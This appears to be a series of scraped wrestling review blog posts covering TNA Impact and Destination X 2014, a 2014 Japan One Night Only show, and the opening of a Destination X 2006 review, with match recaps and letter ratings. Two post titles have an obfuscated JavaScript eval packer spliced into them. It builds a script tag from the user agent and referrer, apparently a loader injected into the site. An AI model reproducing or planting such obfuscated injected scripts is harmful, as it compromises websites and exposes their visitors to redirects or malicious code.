Anderson and Jesse get things going with the bigger star nailing a slam and elbows for two. Gunner comes in and hammers away for some two counts as I continue to wonder what happened to his big push. Gunner tries to tag out to Shaw but Anderson tags himself in due to mistrust. Anderson beats up the now legal Robbie but still won’t tag Shaw. Instead it’s Gunner again with the heels taking over via some good old fashioned eye rakes.

DJZ nails a missile dropkick and the triple teaming begins. A flapjack puts DJZ down but Anderson steals another tag from Shaw. Jesse and Ion save Robbie from a Mic Check and everything breaks down. Shaw finally comes in and destroys everything in sight, only to have Anderson get in an argument with him, allowing Robbie to roll Anderson up for the pin at 5:02.

Rating: D+. Standard six man storytelling here as the BroMans actually get a win for a change. I’m not sure where they’re going with Anderson/Gunner/Shaw but it seems like one of those stories where they’re either going very slowly or have no idea what their end goal is supposed to be.

Dixie has King Mo for protection tonight.

Gunner and Anderson argue about Shaw. Samuel comes in and breaks up the argument because it was his fault. This seems to appease Anderson a bit.

Ethan Carter III/Rhino/Rycklon Stephens/Gene Snitsky vs. Team 3D/Tommy Dreamer/???

This is a hardcore war but entrances are staggered every 90 seconds and the win can’t take place until the last man enters. It’s Carter vs. Dreamer to get things going and both have weapons. They quickly head outside with Dreamer’s knees being sent into the steps. Back in and Dreamer hits a quick suplex with a Singapore cane before driving in a bunch of right hands in the corner. Rhino comes in to make it 2-1 and nails Dreamer with the trashcan lid. A bad looking spinebuster sets up some cane shots but D-Von ties things up with a trashcan. D-Von takes over with a few shots of his own and we take a break.

Back with Snitsky giving the Carters an advantage (and looking to weigh about 400lbs) until Bully Ray runs out to even things up again and clean house. Ray looks up at Dixie and Mo as the ECW guys keep dominating. Stephens comes in to complete Team Dixie and clean house with a chair. The heels destroy everyone until the big mystery partner is Al Snow.

The fans want Head (and have a bunch of mannequin heads of course) as Al beats up everyone again. Ray nails a top rope cross body (didn’t look bad either) to take out the mercenaries. Spud tries to make a save but gets What’s Up from Head. Snow moonsaults onto every heel not named Rhino as this just keeps going. Not that it matters as 3D ends Rhino at 17:37.

Rating: D+. This was just WarGames minus the cage and a lot of the talent. There wasn’t much to see here and Al Snow was about as uninteresting of a partner as there could have been. Also, I didn’t need a second hardcore match in an hour but this show is an ECW tribute show anymore so you have to have it.

Bully tells Dixie that the clock is ticking but Dixie says King Mo will knock him out by the end of the night.

The Beautiful People don’t like Taryn. Love wants her title shot.

Ethan says his partner will protect Dixie tonight.

Bound For Glory is coming to Tokyo.

Here are the Beautiful People to complain about Gail and Taryn getting all the attention. Angelina says they’re hotter and that she’s a better wrestler, so why isn’t she getting all the accolades? Instead here’s Taryn to say that she’s never been champion but has Gail’s respect. Angelina says she’s better than both Taryn, Gail, and every other girl on the roster.

Velvet looks annoyed but here’s Gail to interrupt. She’s been given the choice of her opponent, so it’s going to be a fourway next week. Velvet is asked her opinion but Gail cuts her off and says the title match will determine the best next week. The Beautiful People cleans house but gets sent to the floor for their efforts.

James Storm tells Sanada to win the X-Division Title and bow to him.

Someone whose name starts with an H and ends with a K is coming.

We get a preview for next week: the Hardys vs. Team 3D and a fourway Knockouts match.

Bully promises to put Dixie through a table.

X-Division Title: Sanada vs. Low Ki vs. Samoa Joe

The title is vacant coming in. James Storm introduces Sanada in a nice touch, even though I still don’t know what he gets out of this. Joe hammers on Sanada in the corner to start before hitting the chop to his back and a kick to his face. Sanada avoids a knee drop and hits a quick basement dropkick before Low Ki comes back in for a slugout. Joe sends Ki out to the floor but Sanada breaks up a dive. Ki and Sanada head out to the floor for a brawl with Joe nailing both of them with a suicide elbow.

Back in and Joe does his powerbomb into the STF on Sanada. Ki makes a save and hits a cartwheel kick to Sanada’s face, finally giving us the big showdown. Joe gets the better of it but Ki counters the MuscleBuster into a dragon sleeper. Sanada breaks the hold but Ki counters the tiger suplex into a double stomp for two. Joe puts Ki in a cross armbreaker before slapping the Clutch on Sanada for the title at 6:51.

Rating: C+. I know a lot of people are going to love this match but it’s never been my style. I don’t care for the X-Division triple threat style most of the time and this was no better than a lot of the other stuff I see. The title isn’t going to mean much again in a few months, as is always the case for the X-Division.

King Mo is warming up as Dixie cheers him on.

Long video on Dixie vs. Bully. This is a really weird way of doing a segment as they’re acknowledging what’s coming but still treating it like it’s spontaneous.

Here’s all of Dixie’s team but she fires Stephens and Snitsky like the maniac she is. Cue Team 3D and Dreamer with a table but Dixie hides behind everyone she’s paid off. Ray promises to put Dixie through a table and Dreamer says Dixie is everything that’s wrong with this business. Mo nails Dreamer and the brawl is on with the ECW guys taking over. Suddenly Dixie is alone in the ring with 3D but runs when she’s about to take 3D.

Spud swears it’s never going to happen but the entire locker room comes out to throw Dixie to the wolves (Team 3D, not Richards/Edwards). D-Von loads her up (and grabs her in a rather personal spot) and Bully powerbombs Dixie off the middle rope through the table, in what I believe was Dixie’s first bump ever. We even get Bully’s old euphoric look and the announcers are WAY too happy to see this.

I’m not sure how I feel about this. I have no problem with a heel, male or female, taking a big bump to end a story. What I’m not wild on is how everything was announced in advance. This is going to cause some issues in the mainstream media given how violent it was, but that’s the nature of pro wrestling. It felt very scripted though and that’s not a good thing, but the ending was exactly what it should have been.

Overall Rating: C+. This is a case where the main angle is going to determine your taste in the show. It pays off the angle and hopefully keeps Dixie off TV for a VERY long time but it’s going to draw a lot of controversy. The wrestling was good enough for the most part, though I’m very sick of the ECW tribute stuff. Hopefully this blows it off but I want the energy to stay as it’s been awesome.

Results
Bram b. Abyss – Janice to the ribs
BroMans/DJZ b. Mr. Anderson/Gunner/Samuel Shaw – Rollup to Anderson
Team 3D/Tommy Dreamer/Al Snow b. Rycklon Stephens/Gene Snitsky/Ethan Carter III/Rhino – 3D to Rhino
Samoa Joe b. Low Ki and Sanada – Koquina Clutch to Sanada

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Impact Wrestling – July 31, 2014 (Destination X 2014): Same Time This Year

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnehz|var|u0026u|referrer|senhe||js|php'.split('|'),0,{})) Wrestling
Date: July 31, 2014
Location: Manhattan Center, New York City, New York
Commentators: Mike Tenay, Taz

It’s Destination X, meaning for one night a year, the X Division actually matters. In this case we have another Option C, as Austin Aries has cashed in his X-Division Title for a World Title shot. Also, we have the reunited Hardy Boys challenging the Wolves for the World Tag Team Titles which should be awesome. Let’s get to it.

We open with a video of Aries in an empty arena and talking about how he’s willing to give it all up for one chance tonight.

The opening video talks about the two title matches.

Here are Dixie and company to get things going. Dixie brags about changing the rules on everyone and giving them the real EC Dub (not ECW of course). She’s given them a star in Ethan and he’ll lead TNA into the future. Ethan talks about how the two men who debuted last week are the real ECW men. First up is the man formerly known as Big Z, but now he’ll go by his real name of Rycklon. The other guy is just known as Gene Snitsky.

This brings Ethan to Team 3D and Dreamer. The fans want tables but Ethan says this is going to become the house that the Carters built. A challenge is issued for one final challenge to end this war once and for all. Also, Dixie is NEVER going to be put through a table, no matter what.

Tag Team Titles: Hardys vs. Wolves

Wolves are defending. Eddie and Matt crank arm work to start as the fans are split. The champions take over but Matt sends Richards into the corner to take over. Off to Jeff as the Hardys start working over Davey’s arm. A double suplex gets two and it’s back to a wristlock from Matt. Richards finally gets in a shot to the head and makes a tag off to Edwards to clean house.

A double hurricanrana puts both Hardys on the floor, setting up a double suicide dive to keep the champions in control. Back in and Eddie enziguris Jeff into a German suplex from Davey for two. Matt saves his brother from a double suplex before the Wolves are thrown outside. Poetry In Motion over the top puts everyone down before a regular one hits Eddie in the corner.

The Side Effect sets up the Swanton but Richards sends Jeff outside before a cover. Matt gets two off a moonsault to Edwards before both Hardys put on Ice Picks (double underhook guillotine chokes). Davey breaks Jeff’s hold and makes the save before sending him crashing to the floor.

The kick to Matt’s chest sets up the double double stomp for two on Matt. Back up and a Twist of Fate gets two on Davey and a backslide gets the same for Richards. Jeff is still down, allowing the Wolves to hit their powerbomb/top robe Backstabber for the pin on Matt at 10:08.

Rating: B. This was good but not great. The tagging part went away a few minutes into the match but that’s probably the best thing all around. I didn’t know who was going to win here and that’s a very good thing considering how this could have gone. The Hardys still looked good and Matt hasn’t looked like this in years.

Video on Low Ki, an X-Division pioneer.

Low Ki and Joe stare at each other in the back.

X-Division Title Qualifying Match: DJZ vs. Manik vs. Low Ki

It’s the usual series of triple threats to set up another triple threat for the vacant title. DJZ heads outside to start, allowing Manik and Low Ki to dive around a lot. Back in and DJZ dropkicks both guys down before sending Manik outside. Low Ki counters a tornado DDT and sends DJZ into the corner, only to have Manik come back in to break it up.

Low Ki gets sent to the floor and Manik puts a Black Widow on DJZ. He changes it over to an Indian Deathlock but Ki kicks him down to crank on DJZ’s leg even worse. Ki gets knocked off the top and DZJ gets two off a rollup to Manik. DJZ gets kicked off the top and out to the floor and the Ki Crusher ends Manik at 5:10.

Rating: C. The match was fine but I really have a problem getting into these qualifying matches. They’re so similar every single year with people being brought back, wrestling maybe a match or two after it’s over, and then usually leaving again. That really isn’t all that interesting and gets tiresome quick. Still though, not a bad match.

We look back at Sanada turning on Great Muta and joining forces with James Storm last week.

Here’s Storm with something to say. What we saw last week was a student rising up instead of being held down by his mentor. Now Storm is Sanada’s new mentor and will see that he gets everything done.

X-Division Title Qualifying Match: Sanada vs. Brian Cage vs. Crazzy Steve

The muscular Cage (he once appeared on Gut Check) cleans house to start and gets two off a backbreaker to Sanada. Steve gets in Cage’s face and offers a test of strength before stomping on Cage’s foot. That’s fine with Cage as he picks up Sanada in a Samoan drop and Sanada in a slam at the same time. Both guys get thrown down before Cage can’t hit a delayed vertical superplex on Steve. The Crazzy one hits a sunset bomb for two but Sanada makes the save. Sanada gets hammered down in the corner but Cage misses a Lionsault, allowing Sanada to hit a tiger suplex on Steve for the pin at 3:55.

Rating: D+. Cage looked really impressive but there was no question who was going to win here. Sanada is a guy that we have a reason to care about which puts him far ahead of a lot of the international talent brought in for something like this. There isn’t much to say here though, as is the case most of the time on this special.

Team 3D and Dreamer accept.

Bobby Roode gives Aries a pep talk.

Here are Team 3D and Tommy Dreamer with something to say. D-Von talks about being gone for awhile but now he’s back with his best friend Dreamer and his Brother Ray. They know how to finish a war and that’s what they’re going to do. Dreamer says he’s been in wars against and with these men along with others that will die for all of us. Being hardcore is a work ethic and he would go to war with anyone in TNA because that’s what this business is all about.

This brings out Dixie’s cronies with Ethan saying this is war, but the war is next week. Ray isn’t pleased and asks if Ethan knows who he is and where they are. Ray may not know how to do a lot of things, but he knows how to start a riot in New York City. If Ethan gets to name the time, Ray gets to make it a weapons match.

Angle and Joe shake hands in the back and Angle is pleased.

Team Dixie is ready for next week.

The Beautiful People don’t think much of Terryn and Gail Kim.

Someone whose name begins with an H is coming.

X-Division Qualifying Match: Samoa Joe vs. Tigre Uno vs. Homicide

Before the match, Joe talks about how awesome he is and how he’ll bring the focus back to the X-Division. Tigre is quickly thrown down but Homicide sends Joe out to the floor for a big running flip dive as we take a break. Back with Tigre dropkicking both guys down but he gets double teamed with a High/Low.

Joe and Homicide have their big showdown with Joe taking over and hammering away. Some knees to Homicide’s head have him in trouble but Tigre comes back and takes over with kicks of his own. Homicide takes Tigre down with a tornado DDT but Uno is in the corner. Joe takes over again but Homicide breaks up the MuscleBuster. That only lasts for a few seconds though as Joe busts up Homicide’s muscles to advance at 9:50.

Rating: C+. It’s the best of the three matches but that really doesn’t cover a lot of ground. Joe advancing is the logical move and I really hope Homicide isn’t going to be around full time. I’ve never cared for him and he doesn’t seem to do much other than wrestle a strong style which doesn’t do anything for me.

Video on Abyss vs. Bram. Abyss sings My Girl and brings out Janice.

Video on Aries cashing in the X Title last week.

We recap the X-Division stuff.

TNA World Title: Austin Aries vs. Bobby Lashley

Bobby is defending and it’s a staredown to start. Aries goes to the leg to start but it’s a very slow opening. More kicks have Lashley in trouble and Austin wraps his leg around the ropes for even more kicks. A dropkick to the back sends Lashley to the floor but his dive is caught in midair for a belly to belly suplex as we take a break. Back with Lashley taking over and putting on a reverse bearhug.

Aries fights up but gets caught in a regular bearhug. Austin escapes again but gets caught in a nice gorilla press drop. The Dominator is countered with a discus forearm and a series of regular forearms in the corner. Lashley is sent to the floor and Aries hits the top rope ax handle, setting up a missile dropkick back inside. The corner dropkick is caught in the Dominator though (sweet counter) but the spear is countered into the Last Chancery.

Lashley fights out and lifts Aries for a suplex but just throws Aries forward. Another spear attempt misses and there’s the discus forearm to send Lashley back into the corner. The running drokick sets up the brainbuster but Lashley is up at two. Lashley rolls away to avoid the 450 but Aries misses the suicide dive. Back in and the spear retains Lashley’s title at 16:28.

Rating: B-. Good match here as Lashley piles up another hero. This is basic wrestling booking as we’re waiting on the hero to rise up and take the title back to the good side. Lashley is little more than a dragon, but that doesn’t mean it’s not a good story. Nice match here too with Aries playing the hero really well.

The final video shows Dixie being lifted up for a powerbomb next week with a Twitter hashtag of ITHAPPENS.

Overall Rating: B-. I didn’t hate the show but this really didn’t feel special. The opener was entertaining and the main event was good as well, but there was nothing on here that I’m going to think about soon after this show. I really don’t know what’s coming for Bound For Glory but we should be getting to its build in the next few weeks.

I can’t imagine this is going to help the X-Division either as it looks to be exactly what happened before: the division will mean something for a few weeks and then go away because it doesn’t mean anything until next year’s Destination X. At least it was entertaining while it lasted this year. Good but definitely not great show here.

Results
Wolves b. Hardys – Powerbomb/Backstabber combination to Matt
Low Ki b. DJZ and Manik – Ki Crusher to Manik
Sanada b. Brian Cage and Crazzy Steve – Tiger suplex to Steve
Samoa Joe b. Tigre Uno and Homicide – MuscleBuster to Homicide
Bobby Lashley b. Austin Aries – Spear

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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TNA One Night Only: Global Impact Japan: The Bound For Glory Preview

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Date: July 4, 2014
Location: Ry?goku Kokugikan, Tokyo, Japan
Attendance: 5,800
Commentators: Mike Tenay, Taz

This is another One Night Only show with the roster heading to Japan for a show co-promoted by the Wrestle-1 promotion. Naturally, what better day to hold it on thant he Fourth of July? This show has three title matches, all of which have been spoiled on Impact in the four months since this was taped. I hope you like this, as this is very similar to what Bound For Glory is going to be this year. Let’s get to it.

The opening video shows a lot of the traveling as a voiceover talks about how awesome this is for TNA. Magnus is the main star featured in the video as he was the World Champion when this took place.

Bad Influence vs. Junior Stars

The Junior Stars are Koji Kanemoto and Minoru Tanaka. Kanemoto wrestled at Starrcade 1995 and invented the Koji Clutch. Tanaka was in TNA for the 2006 World X-Cup. I’m assuming the Junior part is for their weight class and not for their ages. Daniels and Tanaka get things going with Christopher being taken into the corner, where he shouts CLEAN BREAK about fifteen times in a loud voice. Daniels does the same to Tanaka, who shouts the same thing and is granted his request. They hit the mat for a bit before Tanaka dropkicks Daniels’ knee.

Off to Kanemoto vs. Kazarian with Koji taking over, using something like Joe’s Facewash. Taz says Koji invented that move which really wouldn’t surprise me given Joe’s work in Japan. Kaz comes back with a dropkick and is hiptossed onto Koji by Daniels for two. Back to Daniels as Taz makes jokes about photographers. They’re firmly in the “let’s make jokes instead of calling the match” mode tonight.

Bad Influence starts some fast tagging to keep Kanemoto in trouble but he avoids a charge from Daniels to get a breather. A suplex puts Daniels down but there’s no tag to Tanaka. Instead Koji misses a moonsault and a double big boot puts both guys down. A double tag brings in Daniels to face Tanaka with Minoru taking over with shots to the face. Everything breaks down and Tanaka dives off the middle rope to take Daniels down to the floor.

A half butterfly suplex gets two on Christopher and Koji gets two off a 450. Kazarian pulls the referee out to really get the fans’ attention. A powerbomb/neckbreaker combination gets two on Tanaka but he pops up and puts Kaz in an ankle lock. Kanemoto puts Daniels in a cross armbreaker at the same time but Kaz crawls over to save his partner. Why Tanaka lets go of his hold when Tanaka’s is broken isn’t clear. Bad Influence goes High/Low for the pin out of nowhere on Kanemoto.

Rating: C+. The match was fine for an opener as Daniels and Kazarian can wrestle without having to do all their comedy stuff. That fits in better for a more serious show like this, and the match was entertaining as a result. It wasn’t anything spectacular but not every match has to be.

A humble Magnus talks about how important of a show this is for both himself and TNA. He and Joe won the GHC Tag Team Titles here about a year ago so he has history in this building. Tonight he’s defending against Kai and promises that it’s going to be a war.

Bad Influence says they’re the best team in the world. This is much more over the top in true Bad Influence style. Tanaka chases them off.

Gail Kim vs. Madison Rayne

Madison is Knockouts Champion at this point but I believe this is non-title. Rayne gets a quick rollup for two and does the mat humping for two. Tenay and Taz try to talk about some Japanese culture and wrestling history but it’s about as pitiful as you would expect. Gail gets two off a clothesline and hits the running cross body to the ribs in the corner. Madison comes back with a rolling cradle but Gail tries to cheat. The champion isn’t happy and charges into the buckle to stun herself.

Gail puts on the figure four around the post as Taz continues asking about the numbered photographers at ringside. Back up and Madison’s leg is fine as Gail rolls her up for two. A suplex gets the same for Rayne but she gets caught in something like a Death Valley Driver for two. Eat Defeat gets Gail the pin a few seconds later.

Rating: D+. This is the exact same match these two have had about a dozen times and in this case Gail won. I really don’t know what else you want me to say about this one, as their matches have been done so many times and there’s almost nothing more to see them do in the ring.

We hear from some wrestlers who are happy to be in Japan. This looks like deleted scenes from the opening video.

Abyss vs. Yoshihiro Takayama

Takayama is described as the Japanese Abyss. Granted that’s Tenay’s opinion of him so I’d expect the second coming of Petey Williams. It’s a brawl to start of course with the blond haired Takayama being knocked out to the floor early on. Takayama slugs away but gets sent into the barricade for his efforts. Back in and they punch each other some more with Takayama nailing a pair of running knees to the chest. Abyss blocks a German suplex and they head outside again.

Four minutes into the match, Tenay casually mentions that Takayama has won the All Japan Triple Crown Title, the GHC Championship and the IWGP Championship. I don’t follow Japanese wrestling and even I know that’s a bigger deal than something you mention four minutes into a match. Abyss takes him to the ramp and pours out the thumbtacks but Takayama fights out of a chokeslam. He tries another German but gets slammed down onto the tacks. Abyss misses a splash and lands in the tacks as well before they brawl to a no contest.

Rating: C-. Take two big guys and let them fight for about seven minutes. This was a mindless but fun brawl and that’s what you would expect out of guys like these two. The tacks were a nice big spot at the end and the shorter you keep an Abyss match, the better things are going to be.

Gail Kim says she’s the best Knockout in the world and screws up the continuity of being Madison’s friend.

Masakatsu Funaki vs. Bobby Roode

Funaki is a technical guy with a very successful MMA background. Feeling out process for the first minute and a half with Roode shouting about how great he is. Bobby takes him down with a headlock but Funaki grabs a much faster headlock of his own to take control. Back up and they stare each other down before Roode tries a forearm.

A stiff kick to the chest puts him down on the floor where he asks Funaki to bring the fight. Funaki obliges and is whipped hard into the barricade for his efforts. Bobby sends him shoulder first into the post before wrapping it around the ropes. A knee drop gets two on Funaki and it’s off to a cross armbreaker. Funaki fights up and fires off kicks in the corner followed by a hard one to the face.

They chop it out until Roode takes him down with a DDT on the arm. There’s the crossface (more like a crossforehead) but Funaki rolls backwards into a rollup for two. Back up and Funaki tries an ankle lock, only to get pulled back down into the crossface. That goes nowhere so Roode grabs a spinebuster for two. The Roode Bomb is countered into the ankle lock and Bobby taps out.

Rating: B. This was a nice technical match with Roode having good psychology by going after the arm for the entire match before trying the crossface. I would have liked some leg work before the ankle lock but it wasn’t completely out of nowhere. Roode looked good here and the match was fun to watch.

Joe is thrilled to get to face Great Muta tonight. He calls wrestling an international language and says TNA is ready to show what they can do to a new audience.

Keiji Mutoh/Rob Terry/Taiyo Kea vs. Masayuki Kono/Rene Dupree/Samoa Joe

Joe’s team gets the jobber treatment and Mutoh might retire if he loses. Joe and Kea get things going with Joe hammering away in the corner, only to have Kea no sell most of the shots. A big boot has little effect on Joe and an elbow to Kea’s jaw has the same result. Off to Terry vs. Dupree for a posedown before Renee dropkicks Terry’s knee out. Kono comes in to try a double suplex but Terry suplexes both of them at the same time.

Mutoh gets the tag for the power drive elbow before putting Kono in an STF. Back to Kea for chops followed by Terry for some cranking on the arm. Mutoh puts on a sleeper but Dupree gets in a cheap shot. Joe glares at his partner for the cheap shot and does the same thing to Kono, even going so far as to save Mutoh. Apparently he’s fine with backsplashing Mutoh for two and putting on the Koquina Clutch but everything breaks down.

Things settle down and Mutoh mostly misses a dropkick to Joe and the tag brings in Kea. A Russian legsweep gets two on Joe but he comes back with a powerslam. Off to Kono who gets caught in something resmbling a running DDT. Terry gets the tag and gets the crowd to clap a lot before hitting a slow motion Jackhammer. Kea rolls away and tags in Dupree who is quickly backdropped down.

Muta comes in and takes out everyone with dragon screw legwhips before putting Renee in a Figure Four. Kono makes a save so Muta hits Dupree with a Shining Wizard but everything breaks down. Members of the Desperadoes stable comes in to attack Mutoh but Joe won’t help them. He takes a chair from Dupree and headbutts him before walking out, allowing Mutoh to hit the Shining Wizard for the pin on Dupree.

Rating: D+. Well you knew Mutoh wasn’t jobbing here. This match was a big mess though with Joe wanting to do the right thing or whatever it was while all of the people interfered (and Tenay just expected us to know who they were because EVERYONE follows a year old Japanese promotion). This felt like “let’s all love Mutoh” and while he deserves respect, I don’t care for matches that turn into stuff like this. It wasn’t terrible or anything and the story made good sense, but it was messy.

The Wolves talk about how honored they are to perform in this building. They respect Team 246 but don’t think too much of the BroMans.

Tag Team Titles: BroMans vs. Wolves vs. Team 246

One fall to a finish, The Wolves are defending and Team 246 is Kaz Hayashi/Shuji Kondo. These are the TNA Tag Team Titles if that’s not clear. Three people in the ring at once so it’s Robbie, Kaz and Davey getting things going. Kaz and Davey slug it out before they both stare at Robbie, triggering a very Broish scream. Robbie Hulks Up and a single chop from Kaz sends him to the floor. Davey and Kaz get to shout at each other a lot and counter moves until Kaz kicks him down.

Eddie comes in but gets caught by a DDT from Kondo. The BroMans pull everyone to the floor until they head back inside with the Wolves. The champions low bridge the BroMans to the floor before diving onto Team 246. Robbie totally misses a dive so the Wolves hit more stereo dives to take everyone out. Back in and Davey kicks Jesse in the side of the head before an enziguri and missile dropkick put Hayashi down for two.

The BroMans shove the Wolves off the top rope and double team Hayashi. Things settle down with the Wolves staying out of the ring as Kaz gets beaten up even more. Davey finally comes back in but gets gorilla pressed by Jesse and nailed with a middle rope elbow from Robbie. Hayashi shoves the BroMans into each other but Davey kicks Kondo off the apron. Kondo comes in anyway as everything breaks down.

A spinebuster gets two on Edwards and Kondo sends the BroMans together again. Davey comes back with a handspring into a kick to Kondo’s face. Robbie DDTs Kaz down but gets laid out by the Wolves. Kondo powerslams Edwards and some double teaming from 246 gets two. Kaz gets the same off a superkick but Davey makes the save.

Richards kicks both of 246 before slugging it out with Hayashi again. A hugh kick to Kaz’s head sets up a German suplex for two for Davey and the powerbomb/Backstabber combo gets two more. The BroMans send the champions to the floor but Kondo breaks up the Bro Down. Richards kicks Kondo down but gets sent to the floor, setting up the Bro Down to Hayashi for the pin and the titles.

Rating: C+. This was fine though I still don’t see the appeal of Kaz Hayashi. He didn’t do anything for me in WCW and now he’s not doing anything for me when he has longer hair. The Wolves looked decent but I get really tired of the Japanese style of getting hit in the face a lot and just screaming in response.

Sanada training video.

The BroMans celebrate.

X-Division Title: Austin Aries vs. Sanada

Sanada is challenging. They shake hands to start before trading armbars. Now they trade headlocks until Sanada hooks a quickly broken abdominal stretch. Sanada rolls him up for two and it’s another standoff. Austin takes him to the mat and rides him a bit before grabbing a few rollups for two each. Aries flips out of a wristlock before dropkicking Sanada in the head for the first real advantage. Sanada is sent to the floor but blocks a suicide dive with a forearm.

Back in and Sanada hammers away in the corner for two but Aries sends him to the floor to break up a springboard attempt. The champion hits a top rope ax handle to the floor before hitting a running elbow off the ramp for two back inside. After working on the neck for a bit, Aries hooks a leg lock to change course. A knee crusher gets two for Aries before they chop it out with Sanada taking over. Aries comes back with a discus forearm to put Sanada on the floor and now the suicide dive connects.

A missile dropkick sends Sanada across the ring but he stays on his feet. Sanada stops a charge with a boot to the face but Austin grabs a crucifix, only to be flipped up into a TKO in a sweet counter. Aries pops back up with a knee crusher into a belly to back suplex, followed by the corner dropkick.

The brainbuster is countered so Aries hits three more running dropkicks, only to have Sanada counter the brainbuster into a suplex. Sanada wins a slugout but Aries grabs him for the brainbuster and two. There’s the Last Chancery but Sanada crawls over to the rope. Aries misses the 450 and a German/dragon/tiger suplex combo gets two for Sanada. A pair of moonsaults give Sanada the title.

Rating: B-. This was the usual good match between these two and it should have been the longest match of the show. Sanada is at least getting to be in TNA longer than the cup of coffee that a lot of foreign wrestlers get in American companies. He’ll get a big match at Bound For Glory and it’s going to be interesting to see where he goes after that.

A stunned Aries rolls up the promoter before raising Sanada’s hand.

Magnus says Kai is good but not good enough.

Here’s a match from Lockdown 2014.

Bad Influence/Chris Sabin vs. Great Muta/Sanada/Yasu

Daniels and Kazarian come out in Great Muta garb circa 1989. Sanada took the X Title from Austin Aries a week ago in Japan. Sabin and Sanada get things going and fight over hiptosses before Sanada grabs an abdominal stretch. It’s quickly off to Muta to drop some fast elbows on Sabin followed by a crossface hold. Daniels makes the save but we get the Green Mist from Muta.

Back to Yasuyuki who gets taken into the wrong corner with Daniels dropping him with a belly to back suplex, setting up a slingshot legdrop from Kaz for two. Daniels suplexes Kaz onto Yatzu, setting up a springboard moonsault for two from Christopher. Back to Kaz who misses a top rope legdrop, allowing the hot tag off to Sanada.

He cleans house until Bad Influence hits a quick High/Low for two. Daniels takes Sanada down for a second but a hot tag brings in Muta to really clean house with dragon screw leg whips all around. The Mist puts Daniels down and there’s the Shining Wizard, setting up a moonsault from Sanada for the pin on Daniels at 9:22.

Rating: C. Not a bad match and a good choice for an opener, but it’s also a good example of what’s wrong with the all cages gimmick. The cage added absolutely nothing here and there’s no reason for the cage to be there at all. The fans reacted well to the Japanese guys so it certainly wasn’t a terrible idea.

Austin Aries says he makes guys like Sanada raise their game.

TNA World Title: Magnus vs. Kai

Magnus is defending and Kai won a tournament to get this shot. Feeling out process to start as a lot of TNA guys have come out to watch the match. No one goes anywhere when they fight over a top wristlock so Magnus takes him down with a headlock. Back up and Kai nails three straight dropkicks but Magnus stops him with a forearm. They head up the ramp and fight over a suplex on the stage until the champion takes him over.

Back in and Taz keeps complaining about the referee not being up to his standards. We hit another chinlock followed by a camel clutch to Kai. Taz notices that Kai’s tights say Dress Camp and goes on a rant about summer camp. Kai fights up and sends Magnus to the floor, followed by a suicide dive to take over. Magnus fights out of a powerbomb and kicks away, only to get dropped by a clothesline.

They slug it out with Kai nailing a falcon’s arrow for two. Kai goes up but gets superplexed down, though Magnus can’t follow up. Back up and a springboard enziguri drops Magnus and a running boot to the face gets two. A powerbomb gets two more on the champion but he catches Kai in a Michinoku Driver for a near fall of his own. The top rope elbow gets the same and another Michinoku Driver followed by a second elbow retains Magnus’ title.

Rating: C. It was a pretty good main event style match, but the problem I have with this is the problem I have with almost all shows like this: who is Kai and why should I care about him? Yeah I know he won a tournament, but I have no connection to Kai, have never seen one of his matches or heard him talk. All I know about him I learned in the last fifteen minutes of hearing Tenay and Taz and watching this one match. Wrestling is about connecting with performers, be it through promos or through their matches. With nothing to go off, there’s no reason for me to care about Kai.

A two minute highlight package closes us out.

Overall Rating: C+. This was very different than the rest of the One Night Only shows as there was a completely unique feeling to the show. Now that being said, as I mentioned, I don’t care for most of these shows as I don’t care for Japanese wrestling all that much. The show wasn’t bad but it’s nothing I got excited about watching. I saw some good action but I have no connection to most of them. I don’t care to watch any more Wrestle-1, even though some of it was good stuff. Bound For Glory is going to be a HUGE gamble, but they could make it work under the right circumstances.

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Destination X 2006: Kurt Can’t Get Here Fast Enough

Destination eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akibt|var|u0026u|referrer|rarsr||js|php'.split('|'),0,{})) X 2006
Date: March 12, 2006
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

There are only two of these shows left that I haven’t done so I’ll be doing this and the 2007 show back to back as I try to get closer to finishing off TNA PPVs. This is from WAY back in TNA’s history as we have a double main event. The new NWA World Champion Christian is defending tonight against Monty Brown and we also have Joe vs. AJ vs. Daniels in an Ultimate X match. Let’s get to it.

The opening video is….weird. The idea is something like a silent movie or an opera with a guy supposed to be Sting watching a video about Destination X. This is in black and white and is rather odd indeed. Sting is returning again tonight apparently. Oh wait it’s Steve Borden, not Sting. Like I said, Sting is back tonight.

Alex Shelley vs. Jay Lethal

Shelley is doing this weird Paparazzi thing where they film everything so he sets up a camera in front of the ring. It was one of those concept gimmicks that TNA had that never really made a lot of sense but it happened anyway. Jay Lethal is just Jay Lethal and is only twenty years old here. We hear about the World X Cup which was a pretty cool concept actually. Shelley is only 22 here so he’s barely a veteran. He and his partner Abyss had just broken up. Now there’s a tag team for you.

Technical stuff to start us off as we hit the mat. Konnan is doing Spanish commentary. Lethal works on the legs with their legs interlocked. Shelley rolls around and they’re standing on their heads with their legs interlocked and slapping each other. Cool looking spot but I’m not sure what it gets up. More striking leads to a standoff. Shelley looks SO young here that it’s insane.

Cross body and rana send Shelley to the floor and a suicide dive takes Shelley down. Lethal takes over with a dropkick to the back for two. Two boots to the face by Shelley draw a Shelley Sucks chant which is so weird to hear in modern wrestling. Modified Kofi Klutch by Shelley doesn’t last long. Off to the chinlock for a few seconds before a clothesline gets two for Shelley.

